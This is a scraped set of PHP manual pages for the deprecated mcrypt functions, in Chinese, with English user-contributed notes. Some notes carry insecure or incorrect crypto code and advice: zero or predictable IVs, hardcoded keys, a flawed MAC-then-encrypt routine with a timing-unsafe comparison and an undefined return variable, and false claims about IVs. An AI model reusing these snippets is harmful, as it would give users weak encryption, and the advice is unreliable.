If you're writing code to encrypt/encrypt data in 2015, you should use openssl_encrypt() and openssl_decrypt(). The underlying library (libmcrypt) has been abandoned since 2007, and performs far worse than OpenSSL (which leverages AES-NI on modern processors and is cache-timing safe).

Also, MCRYPT_RIJNDAEL_256 is not AES-256, it's a different variant of the Rijndael block cipher. If you want AES-256 in mcrypt, you have to use MCRYPT_RIJNDAEL_128 with a 32-byte key. OpenSSL makes it more obvious which mode you are using (i.e. 'aes-128-cbc' vs 'aes-256-ctr').

OpenSSL also uses PKCS7 padding with CBC mode rather than mcrypt's NULL byte padding. Thus, mcrypt is more likely to make your code vulnerable to padding oracle attacks than OpenSSL.

Finally, if you are not authenticating your ciphertexts (Encrypt Then MAC), you're doing it wrong.

Further reading:

https://paragonie.com/blog/2015/05/using-encryption-and-authentication-correctly

https://paragonie.com/blog/2015/05/if-you-re-typing-word-mcrypt-into-your-code-you-re-doing-it-wrong
your dot brother dot t at hotmail dot com 29-Jan-2015 11:52
The encryption has no authenticity check. It can be achieved with three methods, described in http://en.wikipedia.org/wiki/Authenticated_encryption#Approaches_to_Authenticated_Encryption
Encrypt-then-MAC (EtM), Encrypt-and-MAC (E&M), MAC-then-Encrypt (MtE).

The following is a suggestion for MtE:

<?php
        public static function getMacAlgoBlockSize($algorithm = 'sha1')
        {
            switch($algorithm)
            {
                case 'sha1':
                {
                    return 160;
                }
                default:
                {
                    return false;
                    break;
                }
            }
        }

        public static function decrypt($message, $key, $mac_algorithm = 'sha1',
                                           $enc_algorithm = MCRYPT_RIJNDAEL_256, $enc_mode = MCRYPT_MODE_CBC)
        {
            $message= base64_decode($message);
            $iv_size = mcrypt_get_iv_size($enc_algorithm, $enc_mode);

            $iv_dec = substr($message, 0, $iv_size);
            $message= substr($message, $iv_size);

            $message= mcrypt_decrypt($enc_algorithm, $key, $message, $enc_mode, $iv_dec);

            $mac_block_size = ceil(static::getMacAlgoBlockSize($mac_algorithm)/8);
            $mac_dec = substr($message, 0, $mac_block_size);
            $message= substr($message, $mac_block_size);

            $mac = hash_hmac($mac_algorithm, $message, $key, true);

            if($mac_dec == $mac)
            {
                return $password;
            }
            else
            {
                return false;
            }
        }

        public static function encrypt($message, $key, $mac_algorithm = 'sha1',
                                           $enc_algorithm = MCRYPT_RIJNDAEL_256, $enc_mode = MCRYPT_MODE_CBC)
        {

            $mac = hash_hmac($mac_algorithm, $message, $key, true);
            $mac = substr($mac, 0, ceil(static::getMacAlgoBlockSize($mac_algorithm)/8));
            $message= $mac . $message;

            $iv_size = mcrypt_get_iv_size($enc_algorithm, $enc_mode);
            $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

            $ciphertext = mcrypt_encrypt($enc_algorithm, $key,
                                         $message, $enc_mode, $iv);

            return base64_encode($iv . $ciphertext);
        }
?>
telefoontoestel59 at hotmail dot com 04-Nov-2014 01:19
I tried to implement the mcrypt with rijndael-128. For reference I took the code from example #1 and tried running that first, but on the decryption part came back with the error: "The IV parameter must be as long as the blocksize". After a while i figured out that the generated IV string will not have the same length every run, and is almost never the size of the result of mcrypt_get_iv_size. To work around that, before merging the IV and the encrypted text, I added null padding to match the IV size. When retrieving the IV, I then could use the IV size and rtrim null padding to get the matching IV back.

The altered parts from example #1

<?php
    # --- ENCRYPTION ---
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

    $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key,
                                 $plaintext, MCRYPT_MODE_CBC, $iv);

    # Add null padding to match the espected size
    while(strlen($iv) < $iv_size){
        $iv .= "\0";
    }

    # prepend the IV for it to be available for decryption
    $ciphertext = $iv . $ciphertext;
?>

<?php
    # --- DECRYPTION ---
    mcrypt_get_iv_size()
    $iv_dec = rtrim(substr($ciphertext_dec, 0, $iv_size));
?>
gm dot outside+php at gmail dot com 15-Oct-2014 04:52
Please note that the following part of the documentation is no longer true (after commit: http://git.php.net/?p=php-src.git;a=commit;h=a861a3a93d89a50ce58e1ab1abef1eb501f97483):

> key
> The key with which the data will be encrypted. If it's smaller than the required keysize, it is padded with '\0'. It is better not to use ASCII strings for keys.

That commit changed the behaviour to be strict and if the keysize is smaller than the required size a warning will be issued as follows:

Warning: mcrypt_encrypt(): Key of size 10 not supported by this algorithm. Only keys of size 16 supported in script.php on line 5

and the mcrypt_encode() will return failure.
stefan at katic dot me dot rs 15-Jan-2014 10:53
I was trying (and succeeded) to encrypt and decrypt in JAVA, pass it to php, and do it again,without corrupting data when I noticed something interesting. So, my code goes like this:
$data = 'one';
$key = '1234567890123456';

function encrypt($data, $key){
    return base64_encode(
    mcrypt_encrypt(
        MCRYPT_RIJNDAEL_128,
        $key,
        $data,
        MCRYPT_MODE_CBC,
        "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
    )
);
}
function decrypt($data, $key){
    $decode = base64_decode($data);
    return mcrypt_decrypt(
                    MCRYPT_RIJNDAEL_128,
                    $key,
                    $decode,
                    MCRYPT_MODE_CBC,
                    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
            );

}
$encrypted = encrypt($data, $key);
$decrypted= decrypt($encrypted, $key);

//In the beginning, I thought something's wrong, because I did '===' comparison between $decrypted and $data. It didn't work (but later started working, again, dont know why...) So, I dumped both:
var_dump($data);
var_dump($decrypted);
//Results:
string(16) "one"
string(16) "one"
//Clearly, the length of both is 3, not 16. Just wanted to let you know what could happen, and I really don't know if this is a bug...
Thanks,
S.
MadMass 19-Mar-2013 09:42
Note that the IV must be the same for mcrypt_encrypt and mcrypt_decrypt, otherwise you will have corrupted data after decryption.
Scott.a.Herbert at googlemail.com 06-Oct-2012 09:49
It is always better to use a standard encryption cipher's rather than to "roll your own", firstly the standard cipher has been tested by world class crypto-analysis's where as unless your a world class crypto-analysis (and if you are why are you even thinking of rolling your own?!?) you won't have the skills needed to even test it (for example if you just XOR each character with a key, it may look secure (the text will be different) but if you count the number of times a character is repeated you see whatever the letter "E" encrypts to occurs more often then the encrypted "Z" (assuming English language plain text)

Secondly, you may think that the hidden nature of your cipher makes it more secure, but the fact is that your cipher is likely *only* secure because it's secret, if someone what able to break-in to your site and steal your code (but not your key) they maybe able break you encrypted data, if someone broke in and found you where using Blowfish (for example) it wouldn't help them.
Anonymous 12-May-2011 07:03
In the other notes there are some misconceptions about crypto and the IV, especially for CBC mode.

The most important point: Encryption DOES NOT provide any proof of data integrity or authentication WHATSOEVER. If you need to be sure that the data is secret and not tampered with, you need to encrypt THEN use a keyed HMAC.

For CBC mode, the IV DOES NOT need to be secret. It can be sent along with the plaintext. It needs to be UNIQUE and RANDOM. So that every message is encrypted with a different IV.

The best way to generate an IV is to use mcrypt_create_iv().

Keys must be binary, not ASCII. To create a key from a password:

<?php
$password = "MyPassword!1!";
$aes256Key = hash("SHA256", $password, true); //we want a 32 byte binary blob
?>
Anonymous 16-Jan-2011 11:40
I've noticed some people using a-z, A-Z and 0-9 for keys and stating things like "16 characters is a 128-bit key". This isn't true. Using only these characters, you will get at most 6 bits of entropy per chartacter:

log2(26 + 26 + 10) = 5.954196310386876

So you're actually only getting 95 bits of entropy in 16 characters, which is 0.0000000117% of the keyspace you would get if you were using the full range.

In order to get the full entropy from a key using just a-z, A-Z and 0-9 you should multiply your key length by 1.3333 to account for the 2 bits of lost entropy per byte.
Robin Leffmann 09-Mar-2010 05:58
Contrary to what is implied in the mcrypt_encrypt() manual page, as well as the info given regarding the CBC vs CFB modes, mcrypt_encrypt() works just fine for encrypting binary data as well.

A simple example verifies that the decrypted output is binary identical once cut to its original length:

<?php

// 448-bit key (56 bytes) - the only size that mcrypt/php uses for the Blowfish cipher
// (using a smaller key works just fine, as mcrypt appends \0 to reach proper key-size)
$key = 'SADFo92jzVnzSj39IUYGvi6eL8v6RvJH8Cytuiouh547vCytdyUFl76R';

// Blowfish/CBC uses an 8-byte IV
$iv = substr( md5(mt_rand(),true), 0, 8 );

// do 50 encrypt/decrypt operations on some random data, and verify integrity with md5()
for( $i = 0; $i < 50; $i++ )
{
    // create a random, binary string of random length
    $size = mt_rand( 25000, 500000 );
    $c = 0; $data = null;
    while( $c++ * 16 < $size )
        $data .= md5( mt_rand(), true );
    $data = substr( $data, 0, $size );
    $cksum = md5( $data );

    // encrypt using Blowfish/CBC
    $enc = mcrypt_encrypt( MCRYPT_BLOWFISH, $key, $data, MCRYPT_MODE_CBC, $iv );

    echo $size . ' -> ' . strlen( $enc ) . ' -> ';

    // decrypt (using same IV - a must for the CBC mode)
    $dec = mcrypt_decrypt( MCRYPT_BLOWFISH, $key, $enc, MCRYPT_MODE_CBC, $iv );

    // cut the output with substr(), NOT by using rtrim() as is suggested in some of
    // the mcrypt manual pages - this is binary data, not plaintext
    echo ( md5(substr($dec, 0, $size)) == $cksum ? 'ok' : 'bad' ) . PHP_EOL;
}

?>
Anonymous 16-Oct-2007 04:15
I should mention that ECB mode ignores the IV, so it is misleading to show an example using both MCRYPT_MODE_ECB and an IV (the example in the manual shows the same thing).  Also, it's important to know that ECB is useful for random data, but structured data should use a stronger mode like MCRYPT_MODE_CBC

Also, rtrim($decryptedtext, "\0") would be a better option to remove NULL padding than my lazy trim()...
stonecypher at gmail dot com 11-Sep-2006 01:11
Most of the user-written cipher examples here are badly broken, and there are a few cases where the manual says things that are outright incorrect, such as that it's "safe to transmit the initialization vector in plaintext" (this is incorrect: see Ciphers By Ritter, http://www.ciphersbyritter.com/GLOSSARY.HTM#IV ,  for details.)

mcrypt itself is perfectly safe, but correct and therefore safe usage is inobvious.  It is important to use a cryptographic library correctly; a simple usage error, even when it produces results that can be unpacked at the other side, can render a strong algorithm completely useless.

The initialization vector must be permuted with a recoverable noise source (an arbitrary md5 hash is acceptable, since it's just a fake OTP and its origin contents are wholly unimportant.)

Passwords should be remade with a salted one-way hash (md5 is again acceptable even though it's been damaged, since the only thing you could recover from a cracked md5 hash is the source data to generate the password, which is useless.)

It's important to use a sane block mode (OFB is unsafe for almost all algorithms; never use it.  Prefer CBC in all cases except where you need to deal with a degraded signal and cannot retransmit.)

A correct usage example is actually pretty long and needs a lot of explanation, so I developed a safe wrapper library which doesn't constrain usage and which comments itself very heavily.  It's appropriate for use or for learning.  Please see my blog for details on Stone PHP SafeCrypt:

http://blog.sc.tri-bit.com/archives/101
ale_ferrer at yahoo dot com 24-Jul-2006 02:35
Mcript - Dot NET - 3DES problem.

This is a solution for the 3DES algorithm's problem in his interaction with .NET TripleDESCryptoServiceProvider (System.Security.Cryptography), CBC mode,  because the key is completed to 192bits and the text is padded.

So, we has two problems:
           - The key's completion  was posted by "jesse at pctest dot com".
           - The text padding also posted by him, but the completion is a little different. The padding bytes are 0x01 to 0x08 because completed to 8 bytes blocks. If your text have a whole number of 8 bytes blocks, the algorithm add other block with padded bytes (0x08).

This is a function to encrypt a text in a equal form that the Dot NET algorithm:

<?PHP
function encryptNET3DES($key, $vector, $text){
    $td = mcrypt_module_open (MCRYPT_3DES, '', MCRYPT_MODE_CBC, '');

    // Complete the key
    $key_add = 24-strlen($key);
    $key .= substr($key,0,$key_add);

    // Padding the text
    $text_add = strlen($text)%8;
    for($i=$text_add; $i<8; $i++){
        $text .= chr(8-$text_add);
    }

    mcrypt_generic_init ($td, $key, $vector);
    $encrypt64 = mcrypt_generic ($td, $text);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

     // Return the encrypt text in 64 bits code
    return $encrypt64;
}
?>
jesse at pctest dot com 07-Dec-2004 02:43
Solving 3DES incompatibilities with .NET's TripleDESCryptoServiceProvider

mcrypt's 3DES only accepts 192 bit keys, but Microsoft's .NET and many other tools accept both 128 and 192 bit keys.
If your key is too short, mcrypt will 'helpfully' pad null characters onto the end, but .NET refuses to use a key where the last third is all null (this is a Bad Key). This prevents you from emulating mcrypt's "short key" behaviour in .NET.

How to reconcile this? A little DES theory is in order
3DES runs the DES algorithm three times, using each third of your 192 bit key as the 64 bit DES key

Encrypt Key1 -> Decrypt Key2 -> Encrypt Key3

and both .NET and PHP's mcrypt do this the same way.
The problem arises in short key mode on .NET, since 128 bits is only two 64 bit DES keys
The algorithm that they use then is:

Encrypt Key1 -> Decrypt Key2 -> Encrypt Key1

mcrypt does not have this mode of operation natively.
but before you go and start running DES three times yourself, here's a Quick Fix
<?php
$my_key = "12345678abcdefgh"; // a 128 bit (16 byte) key
$my_key .= substr($my_key,0,8); // append the first 8 bytes onto the end
$secret = mcrypt_encrypt(MCRYPT_3DES, $my_key, $data, MCRYPT_MODE_CBC, $iv);  //CBC is the default mode in .NET
?>

And, like magic, it works.

There's one more caveat: Data padding
mcrypt always pads data will the null character
but .NET has two padding modes: "Zeros" and "PKCS7"
Zeros is identical to the mcrypt scheme, but PKCS7 is the default.
PKCS7 isn't much more complex, though:
instead of nulls, it appends the total number of padding bytes (which means, for 3DES, it can be a value from 0x01 to 0x07)
if your plaintext is "ABC", it will be padded into:
0x41 0x42 0x43 0x05 0x05 0x05 0x05 0x05

You can remove these from a decrypted string in PHP by counting the number of times that last character appears, and if it matches it's ordinal value, truncating the string by that many characters:
<?php
    $block = mcrypt_get_block_size('tripledes', 'cbc');
    $packing = ord($text{strlen($text) - 1});
    if($packing and ($packing < $block)){
      for($P = strlen($text) - 1; $P >= strlen($text) - $packing; $P--){
    if(ord($text{$P}) != $packing){
      $packing = 0;
    }
      }
    }
    $text = substr($text,0,strlen($text) - $packing);
?>

And to pad a string that you intend to decrypt with .NET, just add the chr() value of the number of padding bytes:
<?php
    $block = mcrypt_get_block_size('tripledes', 'cbc');
    $len = strlen($dat);
    $padding = $block - ($len % $block);
    $dat .= str_repeat(chr($padding),$padding);
?>

That's all there is to it.
Knowing this, you can encrypt, decrypt, and duplicate exactly any .NET 3DES behaviour in PHP.


对加密模块进行清理工作

  • ? mcrypt_encrypt
  • mcrypt_generic_init ?
  • PHP Manual
  • Mcrypt 函数
  • 对加密模块进行清理工作

mcrypt_generic_deinit

(PHP 4 >= 4.0.7, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_generic_deinit — 对加密模块进行清理工作

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_generic_deinit(resource $td): bool

本函数终止由加密描述符（td）指定的加密模块， 它会清理缓冲区，但是并不关闭模块。 要想关闭加密模块， 你需要自行调用 mcrypt_module_close() 函数。 （但是 PHP 会在脚本末尾为你关闭已打开的加密模块）

参数

td

加密描述符。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • mcrypt_module_open() - 打开算法和模式对应的模块
  • mcrypt_generic_init() - 初始化加密所需的缓冲区

User Contributed Notes

There are no user contributed notes for this page.


初始化加密所需的缓冲区

  • ? mcrypt_generic_deinit
  • mcrypt_generic ?
  • PHP Manual
  • Mcrypt 函数
  • 初始化加密所需的缓冲区

mcrypt_generic_init

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_generic_init — 初始化加密所需的缓冲区

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_generic_init(resource $td, string $key, string $iv): int

在每次调用 mcrypt_generic() 或 mdecrypt_generic() 函数之前必须调用本函数。

参数

td

加密描述符。

key

调用 mcrypt_enc_get_key_size() 函数获得的密钥最大长度。 小于最大长度的数值都被视为非法参数。

iv

通常情况下，向量大小等于算法的分组大小， 但是你应该通过 mcrypt_enc_get_iv_size() 函数 来获得这个值。在 ECB 模式下，初始向量会被忽略， 在 CFB，CBC，STREAM，nOFB 和 OFB 模式下，必须提供初始向量。 初始向量要求是随机的，并且是唯一的（不需要是安全的）。 加密和解密必须使用相同的初始向量。 如果你不想使用初始向量，请将其设置为全 0 值，但是不建议你这么做。

返回值

如果发生错误，将会返回负数： -3 表示密钥长度有误，-4 表示内存分配失败， 其他值表示未知错误， 同时会显示对应的警告信息。 如果传入参数不正确，返回 false。

参见

  • mcrypt_module_open() - 打开算法和模式对应的模块

User Contributed Notes

Anonymous 26-Feb-2013 06:33
The mcrypt implementation of RC2 algorithm supports an effective key length of 1024 bits only.
It is however possible to use an effective key length in 1..1024 bits, by transforming the key before use as follows:

<?php

function transformKey($key, $effKeyLen)

{
    $pitable = array(
        0xD9, 0x78, 0xF9, 0xC4, 0x19, 0xDD, 0xB5, 0xED, 0x28, 0xE9, 0xFD, 0x79, 0x4A, 0xA0, 0xD8, 0x9D,
        0xC6, 0x7E, 0x37, 0x83, 0x2B, 0x76, 0x53, 0x8E, 0x62, 0x4C, 0x64, 0x88, 0x44, 0x8B, 0xFB, 0xA2,
        0x17, 0x9A, 0x59, 0xF5, 0x87, 0xB3, 0x4F, 0x13, 0x61, 0x45, 0x6D, 0x8D, 0x09, 0x81, 0x7D, 0x32,
        0xBD, 0x8F, 0x40, 0xEB, 0x86, 0xB7, 0x7B, 0x0B, 0xF0, 0x95, 0x21, 0x22, 0x5C, 0x6B, 0x4E, 0x82,
        0x54, 0xD6, 0x65, 0x93, 0xCE, 0x60, 0xB2, 0x1C, 0x73, 0x56, 0xC0, 0x14, 0xA7, 0x8C, 0xF1, 0xDC,
        0x12, 0x75, 0xCA, 0x1F, 0x3B, 0xBE, 0xE4, 0xD1, 0x42, 0x3D, 0xD4, 0x30, 0xA3, 0x3C, 0xB6, 0x26,
        0x6F, 0xBF, 0x0E, 0xDA, 0x46, 0x69, 0x07, 0x57, 0x27, 0xF2, 0x1D, 0x9B, 0xBC, 0x94, 0x43, 0x03,
        0xF8, 0x11, 0xC7, 0xF6, 0x90, 0xEF, 0x3E, 0xE7, 0x06, 0xC3, 0xD5, 0x2F, 0xC8, 0x66, 0x1E, 0xD7,
        0x08, 0xE8, 0xEA, 0xDE, 0x80, 0x52, 0xEE, 0xF7, 0x84, 0xAA, 0x72, 0xAC, 0x35, 0x4D, 0x6A, 0x2A,
        0x96, 0x1A, 0xD2, 0x71, 0x5A, 0x15, 0x49, 0x74, 0x4B, 0x9F, 0xD0, 0x5E, 0x04, 0x18, 0xA4, 0xEC,
        0xC2, 0xE0, 0x41, 0x6E, 0x0F, 0x51, 0xCB, 0xCC, 0x24, 0x91, 0xAF, 0x50, 0xA1, 0xF4, 0x70, 0x39,
        0x99, 0x7C, 0x3A, 0x85, 0x23, 0xB8, 0xB4, 0x7A, 0xFC, 0x02, 0x36, 0x5B, 0x25, 0x55, 0x97, 0x31,
        0x2D, 0x5D, 0xFA, 0x98, 0xE3, 0x8A, 0x92, 0xAE, 0x05, 0xDF, 0x29, 0x10, 0x67, 0x6C, 0xBA, 0xC9,
        0xD3, 0x00, 0xE6, 0xCF, 0xE1, 0x9E, 0xA8, 0x2C, 0x63, 0x16, 0x01, 0x3F, 0x58, 0xE2, 0x89, 0xA9,
        0x0D, 0x38, 0x34, 0x1B, 0xAB, 0x33, 0xFF, 0xB0, 0xBB, 0x48, 0x0C, 0x5F, 0xB9, 0xB1, 0xCD, 0x2E,
        0xC5, 0xF3, 0xDB, 0x47, 0xE5, 0xA5, 0x9C, 0x77, 0x0A, 0xA6, 0x20, 0x68, 0xFE, 0x7F, 0xC1, 0xAD);
    $invpitable = array_flip($pitable);

    //    Apply the regular RC2 key expansion algorithm.
    $t = strlen($key);
    $key = array_values(unpack('C*C', $key));

    for ($i = $t; $i < 128; $i++)
        $key[$i] = $pitable[($key[$i - 1] + $key[$i - $t]) & 0xFF];

    $t8 = ($effKeyLen + 7) >> 3;
    $tm = 0xFF >> (8 * $t8 - $effKeyLen);
    $i = 128 - $t8;
    $key[$i] = $pitable[$key[$i] & $tm];

    while ($i--)
        $key[$i] = $pitable[$key[$i + 1] ^ $key[$i + $t8]];

    //    Map the first byte: this operation will be undone by
    //        mcrypt internals.
    $key[0] = $invpitable[$key[0]];

    //    Return the transformed key as a string.
    array_unshift($key, 'C*');
    return call_user_func_array('pack', $key);
}

//    Usage example
$r = mcrypt_module_open(MCRYPT_RC2, $algoDir, $mode, $modeDir);
mcrypt_generic_init($r, transformKey($originalKey, $effectiveKeyLength), $iv);

?>


加密数据

  • ? mcrypt_generic_init
  • mcrypt_get_block_size ?
  • PHP Manual
  • Mcrypt 函数
  • 加密数据

mcrypt_generic

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_generic — 加密数据

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_generic(resource $td, string $data): string

本函数用来加密数据。 传入数据长度必须是 n * 分组大小，否则需要后补 "\0"。 本函数返回加密后的数据。 注意，根据数据补齐不同， 返回的数据可能比输入的数据长度有所增加。

如果你需要把加密后的数据保存到数据库， 请确保保存 mcrypt_generic 返回的完整的字符串， 否则将无法正确解密。 如果原始数据有 10 个字符，分组大小为 8 （使用 mcrypt_enc_get_block_size() 获取分组大小）， 则数据库中至少需要 16 个字符来保存数据。 请注意 mdecrypt_generic() 函数返回的数据也会是 16 个字符。 使用 rtrim($str, "\0") 移除字符串末尾的 0 。

如果你在例如 MySQL 这样的数据库中存储数据， 请注意 varchar 类型的字段会在插入数据时自动移除字符串末尾的"空格"。 由于加密后的数据可能是以空格（ASCII 32）结尾， 这种特性会导致数据损坏。 请使用 tinyblob/tinytext（或 larger）字段来存储加密数据。

参数

td

加密描述符。

在调用本函数之前， 请使用 mcrypt_generic_init() 函数初始化加密句柄。 在加密完成之后， 需要调用 mcrypt_generic_deinit() 函数进行必要的清理工作。 请参见 mcrypt_module_open() 。

data

要加密的数据。

返回值

返回加密后的数据。

参见

  • mdecrypt_generic() - 解密数据
  • mcrypt_generic_init() - 初始化加密所需的缓冲区
  • mcrypt_generic_deinit() - 对加密模块进行清理工作

User Contributed Notes

maxximus007 at gmail dot com 16-Aug-2007 08:21
Behaviour change: Since 5.2.x mcrypt_generic will issue a warning when the datastring is empty.
tmacedo at linux dot ime dot usp dot br 13-Nov-2006 09:22
completing  the post from Ryan Thomas, ryanrst at gmail dot com, if u post a cookie w/ HTTP method, its may be encoded;
As some chars in base64 will be encoded to another things, u can just replace them before encode and after decode;
Its a tweak from dawgeatschikin at hotmail dot com to original idea from massimo dot scamarcia at gmail dot com
(see @ http://www.php.net/manual/en/function.base64-encode.php):
<?php
function urlsafe_b64encode($string)
{
  $data = base64_encode($string);
  $data = str_replace(array('+','/','='),array('-','_','.'),$data);
  return $data;
}
function urlsafe_b64decode($string)
{
  $data = str_replace(array('-','_','.'),array('+','/','='),$string);
  $mod4 = strlen($data) % 4;
  if ($mod4) {
    $data .= substr('====', $mod4);
  }
  return base64_decode($data);
}
?>
chad 0x40 herballure 0x2e com 12-Jul-2006 08:28
Addendum to my previous note: apparently there was some sort of character encoding breakage; PHP does not pad if no padding is needed, and the extra padding I saw was the result of chr(X) returning multiple bytes or something.

The pad/unpad functions I gave are still binary-safe, though, and are to the best of my knowledge completely compatible with NIST 800-38a.
chad 0x40 herballure 0x2e com 12-Jul-2006 07:36
If the data is already n*blocksize long, PHP pads with another full block of "\0", so there will be between 1 and mcrypt_enc_get_block_size($td) bytes of padding.

You can create binary-safe padding by unconditionally adding a 0x80 to the string, then stripping trailing "\0"s PHP added, plus the one 0x80 byte.

<?php
function pad($text) {
  // Add a single 0x80 byte and let PHP pad with 0x00 bytes.
  return pack("a*H2", $text, "80");
}
function unpad($text) {
  // Return all but the trailing 0x80 from text that had the 0x00 bytes removed
  return substr(rtrim($text, "\0"), 0, -1);
}
?>
eric at ez-llc dot com 11-Mar-2006 12:55
I was able get php and perl to play together with blowfish using cipher block chaining.  The blowfish key needs to be atleast 8 chars (even though blowfish min is 8 bits, perl didn't like keys smaller than 8 chars) and max 56.  The iv must be exactly 8 chars and padding needs to be null because php pads with nulls.  Also, php needs libmcrypt >= 2.4.9 to be compatible with perl.

PERL
----

use Crypt::CBC;
$cipher = Crypt::CBC->new( {'key' => 'my secret key',
                                    'cipher'=> 'Blowfish',
                                    'iv' => '12345678',
                                    'regenerate_key' => 0,
                                    'padding' => 'null',
                                    'prepend_iv' => 0
                                    });
$cc = 'my secret text';
$encrypted = $cipher->encrypt($cc);
$decrypted = $cipher->decrypt($encrypted);

print "encrypted : ".$encrypted;
print "<br>";
print "decrypted : ".$decrypted;

PHP
---

$cc = 'my secret text';
$key = 'my secret key';
$iv = '12345678';

$cipher = mcrypt_module_open(MCRYPT_BLOWFISH,'','cbc','');

mcrypt_generic_init($cipher, $key, $iv);
$encrypted = mcrypt_generic($cipher,$cc);
mcrypt_generic_deinit($cipher);

mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mdecrypt_generic($cipher,$encrypted);
mcrypt_generic_deinit($cipher);

echo "encrypted : ".$encrypted;
echo "<br>";
echo "decrypted : ".$decrypted;
Ryan Thomas, ryanrst at gmail dot com 05-Jan-2006 02:15
If you wish to store encrypted data in a cookie variable on the browser you will encounter problems when decrypting the data. This is because cookies will only store US-ASCII characters and your encrypted data may contain non-US-ASCII characters.

The solution:

base64_encode your encrypted string before you store it in the cookie and base64_decode the string stored in the cookie becore decrypting.

Example:

function setEncryptedCookie($cookieName, $data)
{
  setcookie($cookieName, base64_encode($this->encrypt($data)), time()+$this->expire);
}

function getEncryptedCookie($cookieName)
{
  return $this->decrypt(base64_decode($_COOKIE[$cookieName]));
}
pauls at sellingsource dot com 15-May-2003 11:02
If you are encrypting binary and there is a null terminator partway through your encryption, you will loose the rest of the string.  A workaround is to base64_encode your binary string first.

We found this problem while trying to encrypt CC information.  Some CC values would not decrypt after we converted them to a binary string.

We were using the MCRYPT_RIJNDAEL_256 module to encrypt with.

Hope this helps someone.


获得加密算法的分组大小

  • ? mcrypt_generic
  • mcrypt_get_cipher_name ?
  • PHP Manual
  • Mcrypt 函数
  • 获得加密算法的分组大小

mcrypt_get_block_size

(PHP 4, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_get_block_size — 获得加密算法的分组大小

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_get_block_size(int $cipher): int|false
mcrypt_get_block_size(string $cipher, string $mode): int|false

第一个原型针对 libmcrypt 2.2.x， 第二个原型针对 libmcrypt 2.4.x 或 2.5.x。

mcrypt_get_block_size() 用来获取 cipher （其中包括了加密模式） 加密算法分组大小。

mcrypt_enc_get_block_size() 函数更加有用， 因为它可以使用 mcrypt_module_open() 函数所返回的资源。

参数

cipher

MCRYPT_ciphername 常量中的一个，或者是字符串值的算法名称。

mode

MCRYPT_MODE_modename 常量中的一个，或以下字符串中的一个："ecb"，"cbc"，"cfb"，"ofb"，"nofb" 和 "stream"。

返回值

返回以字节为单位的此算法的分组数据大小。 或者在失败时返回 false。

示例

Example #1 mcrypt_get_block_size() 示例

在 libmcrypt 2.4.x 和 2.5.x 下 如何使用本函数。

<?php

echo mcrypt_get_block_size('tripledes', 'ecb'); // 8

?>

参见

  • mcrypt_get_key_size() - 获取指定加密算法的密钥大小
  • mcrypt_enc_get_block_size() - 返回打开的算法的分组大小
  • mcrypt_encrypt() - 使用给定参数加密明文

User Contributed Notes

mehaase at gmail dot com 14-Nov-2014 06:57
You should explain that the block size is return in BYTES, not the more commonly used unit, bits. Many readers are not going to know the DES block size and figure this out on their own.


获取加密算法名称

  • ? mcrypt_get_block_size
  • mcrypt_get_iv_size ?
  • PHP Manual
  • Mcrypt 函数
  • 获取加密算法名称

mcrypt_get_cipher_name

(PHP 4, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_get_cipher_name — 获取加密算法名称

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_get_cipher_name(int $cipher): string
mcrypt_get_cipher_name(string $cipher): string

mcrypt_get_cipher_name() 用来获取加密算法名称。

libmcrypt 2.2.x 中，mcrypt_get_cipher_name() 接受整数表达的加密算法， libmcrypt 2.4.x 及更高版本中，它接受字符串表达的加密算法名称， 返回的都是字符串表达的名称，如果算法不存在则返回 false。

参数

cipher

MCRYPT_ciphername 常量中的一个，或者是字符串值的算法名称。

返回值

本函数返回加密算法名称， 如果算法不存在返回 false。

示例

Example #1 mcrypt_get_cipher_name() 示例

<?php
$cipher = MCRYPT_TripleDES;

echo mcrypt_get_cipher_name($cipher);
?>

以上示例会输出：

3DES

User Contributed Notes

There are no user contributed notes for this page.


返回指定算法/模式组合的初始向量大小

  • ? mcrypt_get_cipher_name
  • mcrypt_get_key_size ?
  • PHP Manual
  • Mcrypt 函数
  • 返回指定算法/模式组合的初始向量大小

mcrypt_get_iv_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_get_iv_size — 返回指定算法/模式组合的初始向量大小

Warning

本函数已自 PHP 7.1.0 起废弃并将自 PHP 7.2.0 起移除。强烈建议不要使用本函数。

说明

mcrypt_get_iv_size(string $cipher, string $mode): int

获取由 cipher/mode 参数指定的初始向量大小。

mcrypt_enc_get_iv_size() 更加有用， 因为它使用由 mcrypt_module_open() 返回的资源作为参数。

参数

cipher

MCRYPT_ciphername 常量中的一个，或者是字符串值的算法名称。

mode

MCRYPT_MODE_modename 常量中的一个，或以下字符串中的一个："ecb"，"cbc"，"cfb"，"ofb"，"nofb" 和 "stream"。

由于 ECB 模式不使用初始向量，所以会忽略它。 在加密和解密的过程中， 你需要使用相同的初始向量（想象成：开始点）。

返回值

返回初始向量的大小，以字节为单位。 如果发生错误，返回 false。 如果指定的算法/模式不需要初始向量，返回 0。

示例

